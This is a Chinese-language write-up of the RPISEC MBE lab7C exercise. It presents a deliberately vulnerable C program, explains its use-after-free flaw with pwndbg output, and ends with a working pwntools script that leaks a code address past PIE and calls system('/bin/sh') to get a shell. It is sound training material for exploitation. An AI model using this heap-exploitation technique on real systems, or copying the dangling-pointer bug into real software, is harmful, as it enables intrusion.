RPISEC/MBE: writeup lab7C 堆漏洞(UAF)

源码来自https://github.com/RPISEC/MBE/blob/master/src/lab06/lab7C.c,由于现在的系统执行时无法达到以前的效果,所以站长对源码进行了部分修改。

utils.h

/*
 * Tools for anti-debug/disasm
 */

/* throws off esp analysis to thwart hexrays */
#define deathrays \
    __asm__ volatile("push     %eax      \n"\
                     "xor      %eax, %eax\n"\
                     "jz       .+5       \n"\
                     ".word    0xC483    \n"\
                     ".byte    0x04      \n"\
                     "pop      %eax      \n");

/* clear argv to avoid shellcode */
#define clear_argv(_argv) \
    for (; *_argv; ++_argv) { \
        memset(*_argv, 0, strlen(*_argv)); \
    }
#define clear_envp(_envp) clear_argv(_envp)

/* disables IO buffering on the file descriptor */
#define disable_buffering(_fd) setvbuf(_fd, NULL, _IONBF, 0)

/* clears stdin up until newline */
void clear_stdin(void)
{
    char x = 0;
    while(1)
    {
        x = getchar();
        if(x == '\n' || x == EOF)
            break;
    }
}

/* gets a number from stdin and cleans up after itself */
unsigned int get_unum(void)
{
    unsigned int res = 0;
    fflush(stdout);
    scanf("%u", &res);
    clear_stdin();
    return res;
}

void prog_timeout(int sig)
{
  asm("mov $1, %eax;"
      "mov $1, %ebx;"
      "int $0x80");
}

#include <signal.h>
#define ENABLE_TIMEOUT(_time) \
  __attribute__ ((constructor)) void enable_timeout_cons() \
  { \
      signal(SIGALRM, prog_timeout); \
      alarm(_time); \
}

lab7C.c

/* compiled with: gcc -z relro -z now -fPIE -pie -fstack-protector-all -o lab7C lab7C.c */
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <stdlib.h>
#include "./utils.h"

#define MAX_STR 6
#define MAX_NUM 6

struct data {
    char reserved[8];
    char buffer[20];
    void (* print)(char *);
};

struct number {
    unsigned int reserved[6];               // implement later
    void (* print)(unsigned int);
    unsigned int num;
};

void small_str(char * a_str)
{
    printf("here's your lame string: %s\n", a_str);
}

void big_str(char * a_str)
{
    printf("nice big str yo: %s\n", a_str);
}

void small_num(unsigned int a_num)
{
    printf("not 1337 enough: %u\n", a_num);
}

void big_num(unsigned int a_num)
{
    printf("tite number dawg: %u\n", a_num);
}

void print_menu()
{
    printf("-- UAF Playground Menu ----------------------\n"
           "1. Make a string\n"
           "2. Make a number\n"
           "3. Delete a string\n"
           "4. Delete a number\n"
           "5. Print a string\n"
           "6. Print a number\n"
           "7. Quit\n"
           "---------------------------------------------\n"
           "Enter Choice: ");
}

/* bugs galore... but no memory corruption! */
int main(int argc, char * argv[])
{
    struct data * strings[MAX_STR] = {0};
    struct number * numbers[MAX_NUM] = {0};
    struct data * tempstr = NULL;
    struct number * tempnum = NULL;

    int strcnt = 0;
    int numcnt = 0;
    unsigned int choice = 0;
    unsigned int index = 0;

    while(1)
    {
        print_menu();

        /* get menu option */
        if((choice = get_unum()) == EOF)
            break;

        /* make a string */
        if(choice == 1)
        {
            if(strcnt < MAX_STR)
            {
                tempstr = malloc(sizeof(struct data));

                /* no memory corruption this time */
                printf("Input string to store: ");
                fgets(tempstr->buffer, 20, stdin);
                tempstr->buffer[strcspn(tempstr->buffer, "\n")] = 0;

                /* pick a print function */
                tempstr->print = strlen(tempstr->buffer) > 10 ? big_str : small_str;

                /* store the string to our master list */
                strings[++strcnt] = tempstr;
                printf("Created new string!\n");
            }
            else
                printf("Please delete a string before trying to make another!\n");
        }

        /* make a number */
        else if(choice == 2)
        {
            if(numcnt < MAX_NUM)
            {
                tempnum = malloc(sizeof(struct number));

                printf("Input number to store: ");
                tempnum->num = get_unum();

                /* pick a print function */
                tempnum->print = tempnum->num > 0x31337 ? big_num : small_num;

                /* store the number to our master list */
                numbers[++numcnt] = tempnum;
                printf("Created new number!\n");
            }
            else
                printf("Please delete a number before trying to make another!\n");
        }

        /* delete a string */
        else if(choice == 3)
        {
            if(strcnt && strings[strcnt])
            {
                free(strings[strcnt--]);
                printf("Deleted most recent string!\n");
            }
            else
                printf("There are no strings left to delete!\n");
        }

        /* delete a number */
        else if(choice == 4)
        {
            if(numcnt && numbers[numcnt])
            {
                free(numbers[numcnt--]);
                printf("Deleted most recent number!\n");
            }
            else
                printf("There are no numbers left to delete!\n");
        }

        /* print a string */
        else if(choice == 5)
        {
            printf("String index to print: ");
            index = get_unum();

            if(index < MAX_STR && strings[index])
                strings[index]->print(strings[index]->buffer);
            else
                printf("There is no string to print!\n");
        }

        /* print a number */
        else if(choice == 6)
        {
            printf("Number index to print: ");
            index = get_unum();

            if(index < MAX_NUM && numbers[index])
                numbers[index]->print(numbers[index]->num);
            else
                printf("There is no number to print!\n");
        }

        /* quit */
        else if(choice == 7)
            break;

        /* base case */
        else
            printf("Invalid choice!\n");

        index = 0;
        choice = 0;
        printf("\n");
    }

    // printf("See you tomorrow!\n");
    // 这里需要system的plt入口
    system("echo \"See you tomorrow!\"");
    return EXIT_SUCCESS;
}

站长已经编译好了,为了迎合要求,站长在32位的Ubuntu14.04上编译的,点击下载lab7C

Writeup 并非原创,改编于https://devel0pment.de/?p=386,并做了简单的翻译。

程序里面究竟有什么漏洞呢?

程序中两个struct实例( date 和 number )的内存都是使用malloc(第83行和106行)分配的。malloc返回一个指向新分配的内存的指针,该内存用来储存字符串/数字(第94和115行)。删除字符串或数字时,使用free释放以前分配的内存(第127行和139行)。传递给free的惟一参数是一个指向以前分配的内存区域的指针。free释放该内存区域,以便后续使用malloc函数再次使用该内存。需要注意的一个重要方面是free不会改变传递的指针!这意味着指针仍然指向当前已释放的内存区域。这样的指针称为悬空指针。后续再使用malloc的时候,指针所引用的内存区域将再次被分配,但可能与以前的对象(或结构体)不同。如果悬空指针现在用于读取或修改引用的对象(或结构体),那么在分配的内存中可能实际上存在另一种类型的对象(原先的悬空指针引起的),从而导致意外行为。因为这里悬空指针被用于读取或修改在free后又被malloc的对象(或结构体),所以该漏洞被称为UAF(Use After Free)。

如果调用free之后将数组字符串/数字结构体指针设置为NULL,则可以很容易地修复此类型的漏洞。但是该程序并没有这样做,所以我们可以打印一个已经被删除的对象(或结构体)。

ex@Ex:~/test$ ./lab7C 
-- UAF Playground Menu ----------------------
1. Make a string
2. Make a number
3. Delete a string
4. Delete a number
5. Print a string
6. Print a number
7. Quit
---------------------------------------------
Enter Choice: 1
Input string to store: AAAA
Created new string!

-- UAF Playground Menu ----------------------
1. Make a string
2. Make a number
3. Delete a string
4. Delete a number
5. Print a string
6. Print a number
7. Quit
---------------------------------------------
Enter Choice: 3
Deleted most recent string!

-- UAF Playground Menu ----------------------
1. Make a string
2. Make a number
3. Delete a string
4. Delete a number
5. Print a string
6. Print a number
7. Quit
---------------------------------------------
Enter Choice: 5
String index to print: 1
here's your lame string: AAAA

这还不是最糟糕的,当我们在删除字符串后创建一个新数字,然后尝试打印该被删除的字符串时,情况将变得更糟:

ex@Ex:~/test$ ./lab7C 
-- UAF Playground Menu ----------------------
1. Make a string
2. Make a number
3. Delete a string
4. Delete a number
5. Print a string
6. Print a number
7. Quit
---------------------------------------------
Enter Choice: 1
Input string to store: AAAA
Created new string!

-- UAF Playground Menu ----------------------
1. Make a string
2. Make a number
3. Delete a string
4. Delete a number
5. Print a string
6. Print a number
7. Quit
---------------------------------------------
Enter Choice: 3
Deleted most recent string!

-- UAF Playground Menu ----------------------
1. Make a string
2. Make a number
3. Delete a string
4. Delete a number
5. Print a string
6. Print a number
7. Quit
---------------------------------------------
Enter Choice: 2
Input number to store: 1337
Created new number!

-- UAF Playground Menu ----------------------
1. Make a string
2. Make a number
3. Delete a string
4. Delete a number
5. Print a string
6. Print a number
7. Quit
---------------------------------------------
Enter Choice: 5
String index to print: 1
Segmentation fault (core dumped)
Program received signal SIGSEGV, Segmentation fault.
0x00000539 in ?? ()
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
─────────────────────────────────[ REGISTERS ]──────────────────────────────────
 EAX  0x539
 EBX  0x56557f98 (_GLOBAL_OFFSET_TABLE_) ◂— 0x2ea0
 ECX  0x1
 EDX  0x56559988 ◂— 'AAAA'
 EDI  0x0
 ESI  0x18
 EBP  0xffffcdf8 ◂— 0x0
 ESP  0xffffcd6c —▸ 0x56555e41 (main+812) ◂— jmp    0x56555ecb
 EIP  0x539
───────────────────────────────────[ DISASM ]───────────────────────────────────
Invalid address 0x539










───────────────────────────────────[ STACK ]────────────────────────────────────
00:0000│ esp  0xffffcd6c —▸ 0x56555e41 (main+812) ◂— jmp    0x56555ecb
01:0004│      0xffffcd70 —▸ 0x56559988 ◂— 'AAAA'
02:0008│      0xffffcd74 —▸ 0x56556127 ◂— or     al, byte ptr [eax] /* '\n' */
03:000c│      0xffffcd78 —▸ 0xf7faf5c0 (_IO_2_1_stdin_) ◂— 0xfbad2288
04:0010│      0xffffcd7c ◂— 0xc2
05:0014│      0xffffcd80 ◂— 0x0
06:0018│      0xffffcd84 ◂— 0xc30000
07:001c│      0xffffcd88 —▸ 0xffffce94 —▸ 0xffffd08e ◂— '/home/ex/test/glab7C'
─────────────────────────────────[ BACKTRACE ]──────────────────────────────────
 ► f 0      539
   f 1 56555e41 main+812
   f 2 f7defe81 __libc_start_main+241
Program received signal SIGSEGV (fault address 0x539)    
pwndbg> backtrace
#0  0x00000539 in ?? ()
#1  0x56555e41 in main (argc=1, argv=0xffffce94) at main.c:153
#2  0xf7defe81 in __libc_start_main (main=0x56555b15 <main>, argc=1, argv=0xffffce94, init=0x56555f20 <__libc_csu_init>, fini=0x56555f90 <__libc_csu_fini>, rtld_fini=0xf7fe59b0 <_dl_fini>, stack_end=0xffffce8c) at ../csu/libc-start.c:310
#3  0x56555771 in _start ()
pwndbg> 

用 gdb 调试debug版本的程序后,就发现了该漏洞,我们输入的数字1337就是0x539,这正好是因为两个结构体用了同一内存块的结果,而且struct number的储存num值的偏移,刚好是struct data 储存print函数指针的偏移。这里原文做了更详细的描述,看不懂的可以看原文。

我们如何利用这个漏洞?

二进制文件是使用参数 -pie -fPIE 编译的,这意味着在运行时我们不知道二进制文件的任何地址。如果我们可以利用这个漏洞泄漏一个内存地址,我们可以使用这个地址来计算出我们想调用的函数的地址。

总结一下,我们必须:
(1)泄漏small_str函数地址,以便计算出我们想要的system函数地址
(2)拿shell

泄露内存地址

我们基本上只有两种可能来使用我们发现的UAF漏洞:
->我们可以将 number结构体 作为 data结构体。
->我们可以将 data结构体 作为 number结构体。

结构体中的函数指针是必不可少的。number结构体 的 print成员函数 打印一个无符号整数,调用该函数需要传递成员变量num:

numbers[index]->print(numbers[index]->num);

当我们并排观察两个结构体时,我们可以看到结构体中的num与结构体数据中的print位于相同的偏移量,所以我们可以先malloc一个number结构体,此时它的print 函数指针指向的是small_num,然后在直接删除该结构体,并创建一个data结构体,这时候我们输入"/bin/sh",以后会用到的。

pwndbg> p *strings[1]
$8 = {
  reserved = "\000\000\000\000\000\000\000", 
  buffer = "/bin/sh\000\000\000\000\000\000\000\000\000\065ZUV", 
  print = 0x56555997 <small_str>
}
pwndbg> p *numbers[1]
$9 = {
  reserved = {0, 0, 1852400175, 6845231, 0, 0}, 
  print = 0x56555a35 <small_num>, 
  num = 1448434071
}
pwndbg> x/32bx strings[1]
0x56559980:	0x00	0x00	0x00	0x00	0x00	0x00	0x00	0x00
0x56559988:	0x2f	0x62	0x69	0x6e	0x2f	0x73	0x68	0x00
0x56559990:	0x00	0x00	0x00	0x00	0x00	0x00	0x00	0x00
0x56559998:	0x35	0x5a	0x55	0x56	0x97	0x59	0x55	0x56
pwndbg> x/32bx numbers[1]
0x56559980:	0x00	0x00	0x00	0x00	0x00	0x00	0x00	0x00
0x56559988:	0x2f	0x62	0x69	0x6e	0x2f	0x73	0x68	0x00
0x56559990:	0x00	0x00	0x00	0x00	0x00	0x00	0x00	0x00
0x56559998:	0x35	0x5a	0x55	0x56	0x97	0x59	0x55	0x56

然后就可以使用 number结构体中的small_num成员函数指针来打印出函数small_str的地址。

---------------------------------------------
Enter Choice: 6
Number index to print: 1
not 1337 enough: 1448434071

原文这里是直接用 small_str 的值来计算 libc_system 函数的地址,但是现在的程序加载的地址和libc加载的地址的距离并不是固定的值了(从原本的意思看,以前应该是的),所以这里站长对程序做了如下更改,使得可以直接用system_plt的入口调用system函数:

// printf("See you tomorrow!\n");
// 这里需要system的plt入口
system("echo \"See you tomorrow!\"");</code></pre>
<pre><code class="plaintext">pwndbg&gt; p small_str 
$1 = {<text variable,="" no="" debug="" info="">} 0x9c7 <small_str>
pwndbg&gt; p system
$2 = {<text variable,="" no="" debug="" info="">} 0x710 <system@plt>
pwndbg&gt; p small_str - system
$3 = 695

之后一切就很简单了,直接上脚本:

#!/usr/bin/python2
# -*- coding:utf-8 -*-

from pwn import *
 

# context.log_level="debug"
# context.terminal=['deepin-terminal','-x','sh','-c']
p = process("./lab7C")
# p= remote('ub14.ex',100)
 
# *******************************************************
# 第一步: 泄露内存地址
 
p.recvuntil("Enter Choice: ")
p.sendline("2")                # 2. Make a number
p.sendline("1337")             #    --> 1337
p.recvuntil("Enter Choice: ")
p.sendline("4")                # 4. Delete a number
p.recvuntil("Enter Choice: ")
p.sendline("1")                # 1. Make a string
p.sendline("/bin/sh")          #    --> "/bin/sh"
p.recvuntil("Enter Choice: ")
p.sendline("6")                # 6. Print a number
p.sendline("1")                #    --> index = 1
 
# --> 输出 small_str 的地址
ret = p.recvuntil("Enter Choice: ")
addr_small_str = int(ret[ret.index("enough: ")+8:ret.index("\n")], 10)
log.info("addr_small_str: " + hex(addr_small_str))
system_plt_addr = addr_small_str - 695

 
# --> 计算 system_plt 的地址
log.info("system_plt_addr: "+hex(system_plt_addr))
 
 
# *******************************************************
# 第二步: call system("/bin/sh")
 
p.sendline("3")               # 3. Delete a string
p.recvuntil("Enter Choice: ")
p.sendline("2")               # 2. Make a number
p.sendline(str(system_plt_addr))  #    --> address of system
p.recvuntil("Enter Choice: ")
p.sendline("5")               # 5. Print a string
# gdb.attach(proc.pidof(p)[0],'c')
p.sendline("1")               #    --> index = 1
p.recv(100)


p.interactive()